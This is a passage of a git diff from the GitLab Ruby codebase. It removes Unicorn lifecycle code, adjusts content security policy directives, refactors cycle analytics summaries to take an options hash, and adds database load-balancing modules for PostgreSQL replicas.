- raise 'missing method Unicorn::HttpServer#reexec or Unicorn::HttpServer#stop'
- end
- end
-
- def reexec
- Gitlab::Cluster::LifecycleEvents.do_before_graceful_shutdown
-
- super
- end
-
- # The stop on non-graceful shutdown is executed twice:
- # `#stop(false)` and `#stop`.
- #
- # The first stop will wipe-out all workers, so we need to check
- # the flag and a list of workers
- def stop(graceful = true)
- if graceful && @workers.any? # rubocop:disable Gitlab/ModuleWithInstanceVariables
- Gitlab::Cluster::LifecycleEvents.do_before_graceful_shutdown
- end
-
- super
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/cluster/puma_worker_killer_initializer.rb b/lib/gitlab/cluster/puma_worker_killer_initializer.rb
index fd9f58a34f3..e634291f894 100644
--- a/lib/gitlab/cluster/puma_worker_killer_initializer.rb
+++ b/lib/gitlab/cluster/puma_worker_killer_initializer.rb
@@ -12,12 +12,9 @@ module Gitlab
require 'puma_worker_killer'
PumaWorkerKiller.config do |config|
- # Note! ram is expressed in megabytes (whereas GITLAB_UNICORN_MEMORY_MAX is in bytes)
- # Importantly RAM is for _all_workers (ie, the cluster),
- # not each worker as is the case with GITLAB_UNICORN_MEMORY_MAX
worker_count = puma_options[:workers] || 1
- # The Puma Worker Killer checks the total RAM used by both the master
- # and worker processes.
+ # The Puma Worker Killer checks the total memory used by the cluster,
+ # i.e. both primary and worker processes.
# https://github.com/schneems/puma_worker_killer/blob/v0.1.0/lib/puma_worker_killer/puma_memory.rb#L57
#
# Additional memory is added when running in `development`
diff --git a/lib/gitlab/content_security_policy/config_loader.rb b/lib/gitlab/content_security_policy/config_loader.rb
index e42b174e085..d7b31946ab0 100644
--- a/lib/gitlab/content_security_policy/config_loader.rb
+++ b/lib/gitlab/content_security_policy/config_loader.rb
@@ -24,7 +24,7 @@ module Gitlab
'media_src' => "'self'",
'script_src' => "'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.recaptcha.net https://apis.google.com",
'style_src' => "'self' 'unsafe-inline'",
- 'worker_src' => "'self'",
+ 'worker_src' => "'self' blob: data:",
'object_src' => "'none'",
'report_uri' => nil
}
@@ -79,6 +79,7 @@ module Gitlab
append_to_directive(settings_hash, 'script_src', cdn_host)
append_to_directive(settings_hash, 'style_src', cdn_host)
+ append_to_directive(settings_hash, 'font_src', cdn_host)
end
def self.append_to_directive(settings_hash, directive, text)
diff --git a/lib/gitlab/cycle_analytics/stage_summary.rb b/lib/gitlab/cycle_analytics/stage_summary.rb
index 7559cd376bf..b309802f296 100644
--- a/lib/gitlab/cycle_analytics/stage_summary.rb
+++ b/lib/gitlab/cycle_analytics/stage_summary.rb
@@ -3,10 +3,9 @@
module Gitlab
module CycleAnalytics
class StageSummary
- def initialize(project, from:, to: nil, current_user:)
+ def initialize(project, options:, current_user:)
@project = project
- @from = from
- @to = to
+ @options = options
@current_user = current_user
end
@@ -20,15 +19,15 @@ module Gitlab
private
def issue_stats
- serialize(Summary::Issue.new(project: @project, from: @from, to: @to, current_user: @current_user))
+ serialize(Summary::Issue.new(project: @project, options: @options, current_user: @current_user))
end
def commit_stats
- serialize(Summary::Commit.new(project: @project, from: @from, to: @to))
+ serialize(Summary::Commit.new(project: @project, options: @options))
end
def deployments_summary
- @deployments_summary ||= Summary::Deploy.new(project: @project, from: @from, to: @to)
+ @deployments_summary ||= Summary::Deploy.new(project: @project, options: @options)
end
def deploy_stats
@@ -39,8 +38,7 @@ module Gitlab
serialize(
Summary::DeploymentFrequency.new(
deployments: deployments_summary.value.raw_value,
- from: @from,
- to: @to),
+ options: @options),
with_unit: true
)
end
@@ -50,8 +48,7 @@ module Gitlab
end
def serialize(summary_object, with_unit: false)
- AnalyticsSummarySerializer.new.represent(
- summary_object, with_unit: with_unit)
+ AnalyticsSummarySerializer.new.represent(summary_object, with_unit: with_unit)
end
end
end
diff --git a/lib/gitlab/cycle_analytics/summary/base.rb b/lib/gitlab/cycle_analytics/summary/base.rb
index 67ad75652b0..50a8f189df0 100644
--- a/lib/gitlab/cycle_analytics/summary/base.rb
+++ b/lib/gitlab/cycle_analytics/summary/base.rb
@@ -4,10 +4,9 @@ module Gitlab
module CycleAnalytics
module Summary
class Base
- def initialize(project:, from:, to: nil)
+ def initialize(project:, options:)
@project = project
- @from = from
- @to = to
+ @options = options
end
def title
diff --git a/lib/gitlab/cycle_analytics/summary/commit.rb b/lib/gitlab/cycle_analytics/summary/commit.rb
index 1dc9d5de966..fb55c3df869 100644
--- a/lib/gitlab/cycle_analytics/summary/commit.rb
+++ b/lib/gitlab/cycle_analytics/summary/commit.rb
@@ -21,7 +21,7 @@ module Gitlab
def commits_count
return unless ref
- @commits_count ||= gitaly_commit_client.commit_count(ref, after: @from, before: @to)
+ @commits_count ||= gitaly_commit_client.commit_count(ref, after: @options[:from], before: @options[:to])
end
def gitaly_commit_client
diff --git a/lib/gitlab/cycle_analytics/summary/deploy.rb b/lib/gitlab/cycle_analytics/summary/deploy.rb
index e5bf6ef616f..ea16226a865 100644
--- a/lib/gitlab/cycle_analytics/summary/deploy.rb
+++ b/lib/gitlab/cycle_analytics/summary/deploy.rb
@@ -16,7 +16,7 @@ module Gitlab
def deployments_count
DeploymentsFinder
- .new(project: @project, finished_after: @from, finished_before: @to, status: :success, order_by: :finished_at)
+ .new(project: @project, finished_after: @options[:from], finished_before: @options[:to], status: :success, order_by: :finished_at)
.execute
.count
end
diff --git a/lib/gitlab/cycle_analytics/summary/deployment_frequency.rb b/lib/gitlab/cycle_analytics/summary/deployment_frequency.rb
index 00676a02a6f..1947866d772 100644
--- a/lib/gitlab/cycle_analytics/summary/deployment_frequency.rb
+++ b/lib/gitlab/cycle_analytics/summary/deployment_frequency.rb
@@ -6,10 +6,10 @@ module Gitlab
class DeploymentFrequency < Base
include SummaryHelper
- def initialize(deployments:, from:, to: nil, project: nil)
+ def initialize(deployments:, options:, project: nil)
@deployments = deployments
- super(project: project, from: from, to: to)
+ super(project: project, options: options)
end
def title
@@ -17,7 +17,7 @@ module Gitlab
end
def value
- @value ||= frequency(@deployments, @from, @to || Time.now)
+ @value ||= frequency(@deployments, @options[:from], @options[:to] || Time.current)
end
def unit
diff --git a/lib/gitlab/cycle_analytics/summary/issue.rb b/lib/gitlab/cycle_analytics/summary/issue.rb
index 462fd4c2d3d..34e0d34b960 100644
--- a/lib/gitlab/cycle_analytics/summary/issue.rb
+++ b/lib/gitlab/cycle_analytics/summary/issue.rb
@@ -4,10 +4,9 @@ module Gitlab
module CycleAnalytics
module Summary
class Issue < Base
- def initialize(project:, from:, to: nil, current_user:)
+ def initialize(project:, options:, current_user:)
@project = project
- @from = from
- @to = to
+ @options = options
@current_user = current_user
end
@@ -23,10 +22,18 @@ module Gitlab
def issues_count
IssuesFinder
- .new(@current_user, project_id: @project.id, created_after: @from, created_before: @to)
+ .new(@current_user, finder_params)
.execute
.count
end
+
+ def finder_params
+ @options.dup.tap do |hash|
+ hash[:created_after] = hash.delete(:from)
+ hash[:created_before] = hash.delete(:to)
+ hash[:project_id] = @project.id
+ end
+ end
end
end
end
diff --git a/lib/gitlab/data_builder/build.rb b/lib/gitlab/data_builder/build.rb
index 4c31f986be5..91e6fc11a53 100644
--- a/lib/gitlab/data_builder/build.rb
+++ b/lib/gitlab/data_builder/build.rb
@@ -83,7 +83,9 @@ module Gitlab
{
id: runner.id,
description: runner.description,
+ runner_type: runner.runner_type,
active: runner.active?,
+ is_shared: runner.instance_type?,
tags: runner.tags&.map(&:name)
}
end
diff --git a/lib/gitlab/data_builder/pipeline.rb b/lib/gitlab/data_builder/pipeline.rb
index 766eaf54afe..4d70e3949dd 100644
--- a/lib/gitlab/data_builder/pipeline.rb
+++ b/lib/gitlab/data_builder/pipeline.rb
@@ -79,7 +79,9 @@ module Gitlab
{
id: runner.id,
description: runner.description,
+ runner_type: runner.runner_type,
active: runner.active?,
+ is_shared: runner.instance_type?,
tags: runner.tags&.map(&:name)
}
end
diff --git a/lib/gitlab/data_builder/wiki_page.rb b/lib/gitlab/data_builder/wiki_page.rb
index 8aee25e9fe6..87679654a17 100644
--- a/lib/gitlab/data_builder/wiki_page.rb
+++ b/lib/gitlab/data_builder/wiki_page.rb
@@ -18,7 +18,8 @@ module Gitlab
wiki: wiki.hook_attrs,
object_attributes: wiki_page.hook_attrs.merge(
url: Gitlab::UrlBuilder.build(wiki_page),
- action: action
+ action: action,
+ diff_url: Gitlab::UrlBuilder.build(wiki_page, action: :diff, version_id: wiki_page.version.id)
)
}
end
diff --git a/lib/gitlab/database.rb b/lib/gitlab/database.rb
index 59249c8bc1f..aa419d75df2 100644
--- a/lib/gitlab/database.rb
+++ b/lib/gitlab/database.rb
@@ -9,12 +9,12 @@ module Gitlab
# 'old_name' => 'new_name'
# }.freeze
TABLES_TO_BE_RENAMED = {
- 'analytics_instance_statistics_measurements' => 'analytics_usage_trends_measurements'
+ 'services' => 'integrations'
}.freeze
# Minimum PostgreSQL version requirement per documentation:
# https://docs.gitlab.com/ee/install/requirements.html#postgresql-requirements
- MINIMUM_POSTGRES_VERSION = 11
+ MINIMUM_POSTGRES_VERSION = 12
# https://www.postgresql.org/docs/9.2/static/datatype-numeric.html
MAX_INT_VALUE = 2147483647
@@ -60,7 +60,7 @@ module Gitlab
end
def self.config
- default_config_hash = ActiveRecord::Base.configurations.find_db_config(Rails.env)&.config || {}
+ default_config_hash = ActiveRecord::Base.configurations.find_db_config(Rails.env)&.configuration_hash || {}
default_config_hash.with_indifferent_access.tap do |hash|
# Match config/initializers/database_config.rb
@@ -88,6 +88,11 @@ module Gitlab
end
end
+ # Disables prepared statements for the current database connection.
+ def self.disable_prepared_statements
+ ActiveRecord::Base.establish_connection(config.merge(prepared_statements: false))
+ end
+
# @deprecated
def self.postgresql?
adapter_name.casecmp('postgresql') == 0
@@ -142,7 +147,7 @@ module Gitlab
is required for this version of GitLab.
<% if Rails.env.development? || Rails.env.test? %>
If using gitlab-development-kit, please find the relevant steps here:
- https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/postgresql.md#upgrade-postgresql
+ https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/postgresql.md#upgrade-postgresql
<% end %>
Please upgrade your environment to a supported PostgreSQL version, see
https://docs.gitlab.com/ee/install/requirements.html#database for details.
@@ -288,7 +293,7 @@ module Gitlab
# @param [ActiveRecord::Connection] ar_connection
# @return [String]
def self.get_write_location(ar_connection)
- use_new_load_balancer_query = Gitlab::Utils.to_boolean(ENV['USE_NEW_LOAD_BALANCER_QUERY'], default: false)
+ use_new_load_balancer_query = Gitlab::Utils.to_boolean(ENV['USE_NEW_LOAD_BALANCER_QUERY'], default: true)
sql = if use_new_load_balancer_query
<<~NEWSQL
diff --git a/lib/gitlab/database/background_migration/batched_job.rb b/lib/gitlab/database/background_migration/batched_job.rb
index 869b97b8ac0..9a1dc4ee17d 100644
--- a/lib/gitlab/database/background_migration/batched_job.rb
+++ b/lib/gitlab/database/background_migration/batched_job.rb
@@ -30,7 +30,7 @@ module Gitlab
scope :successful_in_execution_order, -> { where.not(finished_at: nil).succeeded.order(:finished_at) }
- delegate :aborted?, :job_class, :table_name, :column_name, :job_arguments,
+ delegate :job_class, :table_name, :column_name, :job_arguments,
to: :batched_migration, prefix: :migration
attribute :pause_ms, :integer, default: 100
diff --git a/lib/gitlab/database/background_migration/batched_migration.rb b/lib/gitlab/database/background_migration/batched_migration.rb
index e85162f355e..36e89023c86 100644
--- a/lib/gitlab/database/background_migration/batched_migration.rb
+++ b/lib/gitlab/database/background_migration/batched_migration.rb
@@ -14,12 +14,20 @@ module Gitlab
class_name: 'Gitlab::Database::BackgroundMigration::BatchedJob',
foreign_key: :batched_background_migration_id
+ validates :job_arguments, uniqueness: {
+ scope: [:job_class_name, :table_name, :column_name]
+ }
+
scope :queue_order, -> { order(id: :asc) }
+ scope :queued, -> { where(status: [:active, :paused]) }
+ scope :for_configuration, ->(job_class_name, table_name, column_name, job_arguments) do
+ where(job_class_name: job_class_name, table_name: table_name, column_name: column_name)
+ .where("job_arguments = ?", job_arguments.to_json) # rubocop:disable Rails/WhereEquals
+ end
enum status: {
paused: 0,
active: 1,
- aborted: 2,
finished: 3,
failed: 4
}
@@ -30,6 +38,14 @@ module Gitlab
active.queue_order.first
end
+ def self.successful_rows_counts(migrations)
+ BatchedJob
+ .succeeded
+ .where(batched_background_migration_id: migrations)
+ .group(:batched_background_migration_id)
+ .sum(:batch_size)
+ end
+
def interval_elapsed?(variance: 0)
return true unless last_job
diff --git a/lib/gitlab/database/consistency.rb b/lib/gitlab/database/consistency.rb
index e99ea7a3232..17c16640e4c 100644
--- a/lib/gitlab/database/consistency.rb
+++ b/lib/gitlab/database/consistency.rb
@@ -4,28 +4,18 @@ module Gitlab
module Database
##
# This class is used to make it possible to ensure read consistency in
- # GitLab EE without the need of overriding a lot of methods / classes /
+ # GitLab without the need of overriding a lot of methods / classes /
# classs.
#
- # This is a CE class that does nothing in CE, because database load
- # balancing is EE-only feature, but you can still use it in CE. It will
- # start ensuring read consistency once it is overridden in EE.
- #
- # Using this class in CE helps to avoid creeping discrepancy between CE /
- # EE only to force usage of the primary database in EE.
- #
class Consistency
##
- # In CE there is no database load balancing, so all reads are expected to
- # be consistent by the ACID guarantees of a single PostgreSQL instance.
- #
- # This method is overridden in EE.
+ # Within the block, disable the database load balancing for calls that
+ # require read consistency after recent writes.
#
def self.with_read_consistency(&block)
- yield
+ ::Gitlab::Database::LoadBalancing::Session
+ .current.use_primary(&block)
end
end
end
end
-
-::Gitlab::Database::Consistency.singleton_class.prepend_mod_with('Gitlab::Database::Consistency')
diff --git a/lib/gitlab/database/dynamic_model_helpers.rb b/lib/gitlab/database/dynamic_model_helpers.rb
index 892f8291780..7439591be99 100644
--- a/lib/gitlab/database/dynamic_model_helpers.rb
+++ b/lib/gitlab/database/dynamic_model_helpers.rb
@@ -11,6 +11,25 @@ module Gitlab
self.inheritance_column = :_type_disabled
end
end
+
+ def each_batch(table_name, scope: ->(table) { table.all }, of: 1000)
+ if transaction_open?
+ raise <<~MSG.squish
+ each_batch should not run inside a transaction, you can disable
+ transactions by calling disable_ddl_transaction! in the body of
+ your migration class
+ MSG
+ end
+
+ scope.call(define_batchable_model(table_name))
+ .each_batch(of: of) { |batch| yield batch }
+ end
+
+ def each_batch_range(table_name, scope: ->(table) { table.all }, of: 1000)
+ each_batch(table_name, scope: scope, of: of) do |batch|
+ yield batch.pluck('MIN(id), MAX(id)').first
+ end
+ end
end
end
end
diff --git a/lib/gitlab/database/load_balancing.rb b/lib/gitlab/database/load_balancing.rb
new file mode 100644
index 00000000000..88743cd2e75
--- /dev/null
+++ b/lib/gitlab/database/load_balancing.rb
@@ -0,0 +1,142 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # The exceptions raised for connection errors.
+ CONNECTION_ERRORS = if defined?(PG)
+ [
+ PG::ConnectionBad,
+ PG::ConnectionDoesNotExist,
+ PG::ConnectionException,
+ PG::ConnectionFailure,
+ PG::UnableToSend,
+ # During a failover this error may be raised when
+ # writing to a primary.
+ PG::ReadOnlySqlTransaction
+ ].freeze
+ else
+ [].freeze
+ end
+
+ ProxyNotConfiguredError = Class.new(StandardError)
+
+ # The connection proxy to use for load balancing (if enabled).
+ def self.proxy
+ unless @proxy
+ Gitlab::ErrorTracking.track_exception(
+ ProxyNotConfiguredError.new(
+ "Attempting to access the database load balancing proxy, but it wasn't configured.\n" \
+ "Did you forget to call '#{self.name}.configure_proxy'?"
+ ))
+ end
+
+ @proxy
+ end
+
+ # Returns a Hash containing the load balancing configuration.
+ def self.configuration
+ Gitlab::Database.config[:load_balancing] || {}
+ end
+
+ # Returns the maximum replica lag size in bytes.
+ def self.max_replication_difference
+ (configuration['max_replication_difference'] || 8.megabytes).to_i
+ end
+
+ # Returns the maximum lag time for a replica.
+ def self.max_replication_lag_time
+ (configuration['max_replication_lag_time'] || 60.0).to_f
+ end
+
+ # Returns the interval (in seconds) to use for checking the status of a
+ # replica.
+ def self.replica_check_interval
+ (configuration['replica_check_interval'] || 60).to_f
+ end
+
+ # Returns the additional hosts to use for load balancing.
+ def self.hosts
+ configuration['hosts'] || []
+ end
+
+ def self.service_discovery_enabled?
+ configuration.dig('discover', 'record').present?
+ end
+
+ def self.service_discovery_configuration
+ conf = configuration['discover'] || {}
+
+ {
+ nameserver: conf['nameserver'] || 'localhost',
+ port: conf['port'] || 8600,
+ record: conf['record'],
+ record_type: conf['record_type'] || 'A',
+ interval: conf['interval'] || 60,
+ disconnect_timeout: conf['disconnect_timeout'] || 120,
+ use_tcp: conf['use_tcp'] || false
+ }
+ end
+
+ def self.pool_size
+ Gitlab::Database.config[:pool]
+ end
+
+ # Returns true if load balancing is to be enabled.
+ def self.enable?
+ return false if Gitlab::Runtime.rake?
+ return false if Gitlab::Runtime.sidekiq? && !Gitlab::Utils.to_boolean(ENV['ENABLE_LOAD_BALANCING_FOR_SIDEKIQ'], default: false)
+ return false unless self.configured?
+
+ true
+ end
+
+ # Returns true if load balancing has been configured. Since
+ # Sidekiq does not currently use load balancing, we
+ # may want Web application servers to detect replication lag by
+ # posting the write location of the database if load balancing is
+ # configured.
+ def self.configured?
+ hosts.any? || service_discovery_enabled?
+ end
+
+ def self.start_service_discovery
+ return unless service_discovery_enabled?
+
+ ServiceDiscovery.new(service_discovery_configuration).start
+ end
+
+ # Configures proxying of requests.
+ def self.configure_proxy(proxy = ConnectionProxy.new(hosts))
+ @proxy = proxy
+
+ # This hijacks the "connection" method to ensure both
+ # `ActiveRecord::Base.connection` and all models use the same load
+ # balancing proxy.
+ ActiveRecord::Base.singleton_class.prepend(ActiveRecordProxy)
+ end
+
+ def self.active_record_models
+ ActiveRecord::Base.descendants
+ end
+
+ DB_ROLES = [
+ ROLE_PRIMARY = :primary,
+ ROLE_REPLICA = :replica,
+ ROLE_UNKNOWN = :unknown
+ ].freeze
+
+ # Returns the role (primary/replica) of the database the connection is
+ # connecting to. At the moment, the connection can only be retrieved by
+ # Gitlab::Database::LoadBalancer#read or #read_write or from the
+ # ActiveRecord directly. Therefore, if the load balancer doesn't
+ # recognize the connection, this method returns the primary role
+ # directly. In future, we may need to check for other sources.
+ def self.db_role_for_connection(connection)
+ return ROLE_PRIMARY if !enable? || @proxy.blank?
+
+ proxy.load_balancer.db_role_for_connection(connection)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/active_record_proxy.rb b/lib/gitlab/database/load_balancing/active_record_proxy.rb
new file mode 100644
index 00000000000..7763497e770
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/active_record_proxy.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # Module injected into ActiveRecord::Base to allow hijacking of the
+ # "connection" method.
+ module ActiveRecordProxy
+ def connection
+ LoadBalancing.proxy
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/connection_proxy.rb b/lib/gitlab/database/load_balancing/connection_proxy.rb
new file mode 100644
index 00000000000..3a09689a724
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/connection_proxy.rb
@@ -0,0 +1,140 @@
+# frozen_string_literal: true
+
+# rubocop:disable GitlabSecurity/PublicSend
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # Redirecting of ActiveRecord connections.
+ #
+ # The ConnectionProxy class redirects ActiveRecord connection requests to
+ # the right load balancer pool, depending on the type of query.
+ class ConnectionProxy
+ WriteInsideReadOnlyTransactionError = Class.new(StandardError)
+ READ_ONLY_TRANSACTION_KEY = :load_balacing_read_only_transaction
+
+ attr_reader :load_balancer
+
+ # These methods perform writes after which we need to stick to the
+ # primary.
+ STICKY_WRITES = %i(
+ delete
+ delete_all
+ insert
+ update
+ update_all
+ ).freeze
+
+ NON_STICKY_READS = %i(
+ sanitize_limit
+ select
+ select_one
+ select_rows
+ quote_column_name
+ ).freeze
+
+ # hosts - The hosts to use for load balancing.
+ def initialize(hosts = [])
+ @load_balancer = LoadBalancer.new(hosts)
+ end
+
+ def select_all(arel, name = nil, binds = [], preparable: nil)
+ if arel.respond_to?(:locked) && arel.locked
+ # SELECT ... FOR UPDATE queries should be sent to the primary.
+ write_using_load_balancer(:select_all, [arel, name, binds],
+ sticky: true)
+ else
+ read_using_load_balancer(:select_all, [arel, name, binds])
+ end
+ end
+
+ NON_STICKY_READS.each do |name|
+ define_method(name) do |*args, &block|
+ read_using_load_balancer(name, args, &block)
+ end
+ end
+
+ STICKY_WRITES.each do |name|
+ define_method(name) do |*args, &block|
+ write_using_load_balancer(name, args, sticky: true, &block)
+ end
+ end
+
+ def transaction(*args, &block)
+ if current_session.fallback_to_replicas_for_ambiguous_queries?
+ track_read_only_transaction!
+ read_using_load_balancer(:transaction, args, &block)
+ else
+ write_using_load_balancer(:transaction, args, sticky: true, &block)
+ end
+
+ ensure
+ untrack_read_only_transaction!
+ end
+
+ # Delegates all unknown messages to a read-write connection.
+ def method_missing(name, *args, &block)
+ if current_session.fallback_to_replicas_for_ambiguous_queries?
+ read_using_load_balancer(name, args, &block)
+ else
+ write_using_load_balancer(name, args, &block)
+ end
+ end
+
+ # Performs a read using the load balancer.
+ #
+ # name - The name of the method to call on a connection object.
+ def read_using_load_balancer(name, args, &block)
+ if current_session.use_primary? &&
+ !current_session.use_replicas_for_read_queries?
+ @load_balancer.read_write do |connection|
+ connection.send(name, *args, &block)
+ end
+ else
+ @load_balancer.read do |connection|
+ connection.send(name, *args, &block)
+ end
+ end
+ end
+
+ # Performs a write using the load balancer.
+ #
+ # name - The name of the method to call on a connection object.
+ # sticky - If set to true the session will stick to the master after
+ # the write.
+ def write_using_load_balancer(name, args, sticky: false, &block)
+ if read_only_transaction?
+ raise WriteInsideReadOnlyTransactionError, 'A write query is performed inside a read-only transaction'
+ end
+
+ @load_balancer.read_write do |connection|
+ # Sticking has to be enabled before calling the method. Not doing so
+ # could lead to methods called in a block still being performed on a
+ # secondary instead of on a primary (when necessary).
+ current_session.write! if sticky
+
+ connection.send(name, *args, &block)
+ end
+ end
+
+ private
+
+ def current_session
+ ::Gitlab::Database::LoadBalancing::Session.current
+ end
+
+ def track_read_only_transaction!
+ Thread.current[READ_ONLY_TRANSACTION_KEY] = true
+ end
+
+ def untrack_read_only_transaction!
+ Thread.current[READ_ONLY_TRANSACTION_KEY] = nil
+ end
+
+ def read_only_transaction?
+ Thread.current[READ_ONLY_TRANSACTION_KEY] == true
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/host.rb b/lib/gitlab/database/load_balancing/host.rb
new file mode 100644
index 00000000000..3e74b5ea727
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/host.rb
@@ -0,0 +1,209 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # A single database host used for load balancing.
+ class Host
+ attr_reader :pool, :last_checked_at, :intervals, :load_balancer, :host, :port
+
+ delegate :connection, :release_connection, :enable_query_cache!, :disable_query_cache!, :query_cache_enabled, to: :pool
+
+ CONNECTION_ERRORS =
+ if defined?(PG)
+ [
+ ActionView::Template::Error,
+ ActiveRecord::StatementInvalid,
+ PG::Error
+ ].freeze
+ else
+ [
+ ActionView::Template::Error,
+ ActiveRecord::StatementInvalid
+ ].freeze
+ end
+
+ # host - The address of the database.
+ # load_balancer - The LoadBalancer that manages this Host.
+ def initialize(host, load_balancer, port: nil)
+ @host = host
+ @port = port
+ @load_balancer = load_balancer
+ @pool = Database.create_connection_pool(LoadBalancing.pool_size, host, port)
+ @online = true
+ @last_checked_at = Time.zone.now
+
+ interval = LoadBalancing.replica_check_interval
+ @intervals = (interval..(interval * 2)).step(0.5).to_a
+ end
+
+ # Disconnects the pool, once all connections are no longer in use.
+ #
+ # timeout - The time after which the pool should be forcefully
+ # disconnected.
+ def disconnect!(timeout = 120)
+ start_time = Metrics::System.monotonic_time
+
+ while (Metrics::System.monotonic_time - start_time) <= timeout
+ break if pool.connections.none?(&:in_use?)
+
+ sleep(2)
+ end
+
+ pool.disconnect!
+ end
+
+ def offline!
+ LoadBalancing::Logger.warn(
+ event: :host_offline,
+ message: 'Marking host as offline',
+ db_host: @host,
+ db_port: @port
+ )
+
+ @online = false
+ @pool.disconnect!
+ end
+
+ # Returns true if the host is online.
+ def online?
+ return @online unless check_replica_status?
+
+ refresh_status
+
+ if @online
+ LoadBalancing::Logger.info(
+ event: :host_online,
+ message: 'Host is online after replica status check',
+ db_host: @host,
+ db_port: @port
+ )
+ else
+ LoadBalancing::Logger.warn(
+ event: :host_offline,
+ message: 'Host is offline after replica status check',
+ db_host: @host,
+ db_port: @port
+ )
+ end
+
+ @online
+ rescue *CONNECTION_ERRORS
+ offline!
+ false
+ end
+
+ def refresh_status
+ @online = replica_is_up_to_date?
+ @last_checked_at = Time.zone.now
+ end
+
+ def check_replica_status?
+ (Time.zone.now - last_checked_at) >= intervals.sample
+ end
+
+ def replica_is_up_to_date?
+ replication_lag_below_threshold? || data_is_recent_enough?
+ end
+
+ def replication_lag_below_threshold?
+ if (lag_time = replication_lag_time)
+ lag_time <= LoadBalancing.max_replication_lag_time
+ else
+ false
+ end
+ end
+
+ # Returns true if the replica has replicated enough data to be useful.
+ def data_is_recent_enough?
+ # It's possible for a replica to not replay WAL data for a while,
+ # despite being up to date. This can happen when a primary does not
+ # receive any writes for a while.
+ #
+ # To prevent this from happening we check if the lag size (in bytes)
+ # of the replica is small enough for the replica to be useful. We
+ # only do this if we haven't replicated in a while so we only need
+ # to connect to the primary when truly necessary.
+ if (lag_size = replication_lag_size)
+ lag_size <= LoadBalancing.max_replication_difference
+ else
+ false
+ end
+ end
+
+ # Returns the replication lag time of this secondary in seconds as a
+ # float.
+ #
+ # This method will return nil if no lag time could be calculated.
+ def replication_lag_time
+ row = query_and_release('SELECT EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp()))::float as lag')
+
+ row['lag'].to_f if row.any?
+ end
+
+ # Returns the number of bytes this secondary is lagging behind the
+ # primary.
+ #
+ # This method will return nil if no lag size could be calculated.
+ def replication_lag_size
+ location = connection.quote(primary_write_location)
+ row = query_and_release(<<-SQL.squish)
+ SELECT pg_wal_lsn_diff(#{location}, pg_last_wal_replay_lsn())::float
+ AS diff
+ SQL
+
+ row['diff'].to_i if row.any?
+ rescue *CONNECTION_ERRORS
+ nil
+ end
+
+ def primary_write_location
+ load_balancer.primary_write_location
+ ensure
+ load_balancer.release_primary_connection
+ end
+
+ def database_replica_location
+ row = query_and_release(<<-SQL.squish)
+ SELECT pg_last_wal_replay_lsn()::text AS location
+ SQL
+
+ row['location'] if row.any?
+ rescue *CONNECTION_ERRORS
+ nil
+ end
+
+ # Returns true if this host has caught up to the given transaction
+ # write location.
+ #
+ # location - The transaction write location as reported by a primary.
+ def caught_up?(location)
+ string = connection.quote(location)
+
+ # In case the host is a primary pg_last_wal_replay_lsn/pg_last_xlog_replay_location() returns
+ # NULL. The recovery check ensures we treat the host as up-to-date in
+ # such a case.
+ query = <<-SQL.squish
+ SELECT NOT pg_is_in_recovery()
+ OR pg_wal_lsn_diff(pg_last_wal_replay_lsn(), #{string}) >= 0
+ AS result
+ SQL
+
+ row = query_and_release(query)
+
+ ::Gitlab::Utils.to_boolean(row['result'])
+ rescue *CONNECTION_ERRORS
+ false
+ end
+
+ def query_and_release(sql)
+ connection.select_all(sql).first || {}
+ rescue StandardError
+ {}
+ ensure
+ release_connection
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/host_list.rb b/lib/gitlab/database/load_balancing/host_list.rb
new file mode 100644
index 00000000000..24800012947
--- /dev/null
+++ b/lib/gitlab/database/load_balancing/host_list.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module LoadBalancing
+ # A list of database hosts to use for connections.
+ class HostList
+ # hosts - The list of secondary hosts to add.
+ def initialize(hosts = [])
+ @hosts = hosts.shuffle
+ @pools = Set.new
+ @index = 0
+ @mutex = Mutex.new
+ @hosts_gauge = Gitlab::Metrics.gauge(:db_load_balancing_hosts, 'Current number of load balancing hosts')
+
+ set_metrics!
+ update_pools
+ end
+
+ def hosts
+ @mutex.synchronize { @hosts.dup }
+ end
+
+ def shuffle
+ @mutex.synchronize do
+ unsafe_shuffle
+ end
+ end
+
+ def length
+ @mutex.synchronize { @hosts.length }
+ end
+
+ def host_names_and_ports
+ @mutex.synchronize { @hosts.map { |host| [host.host, host.port] } }
+ end
+
+ def manage_pool?(pool)
+ @pools.include?(pool)
+ end
+
+ def hosts=(hosts)
+ @mutex.synchronize do
+ @hosts = hosts
+ unsafe_shuffle
+ update_pools
+ end
+
+ set_metrics!
+ end
+
+ # Sets metrics before returning next host
+ def next
+ next_host.tap do |_|
+ set_metrics!
+ end
+ end
+
+ private
+
+ def unsafe_shuffle
+ @hosts = @hosts.shuffle
+ @index = 0
+ end
+
+ # Returns the next available host.
+ #
+ # Returns a Gitlab::Database::LoadBalancing::Host instance, or nil if no
+ # hosts were available.
+ def next_host
+ @mutex.synchronize do
+ break if @hosts.empty?
+
+ started_at = @index
+
+ loop do
+ host = @hosts[@index]
+ @index = (@index + 1) % @hosts.length
+
+ break host if host.online?
+
+ # Return nil once we have cycled through all hosts and none were
+ # available.
+ break if @index == started_at
+ end
+ end
+ end
+
+ def set_metrics!
+ @hosts_gauge.set({}, @hosts.length)
+ end
+
+ def update_pools
+ @pools = Set.new(@hosts.map(&:pool))
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/load_balancing/load_balancer.rb b/lib/gitlab/database/load_balancing/load_balancer.rb
new file mode 100644
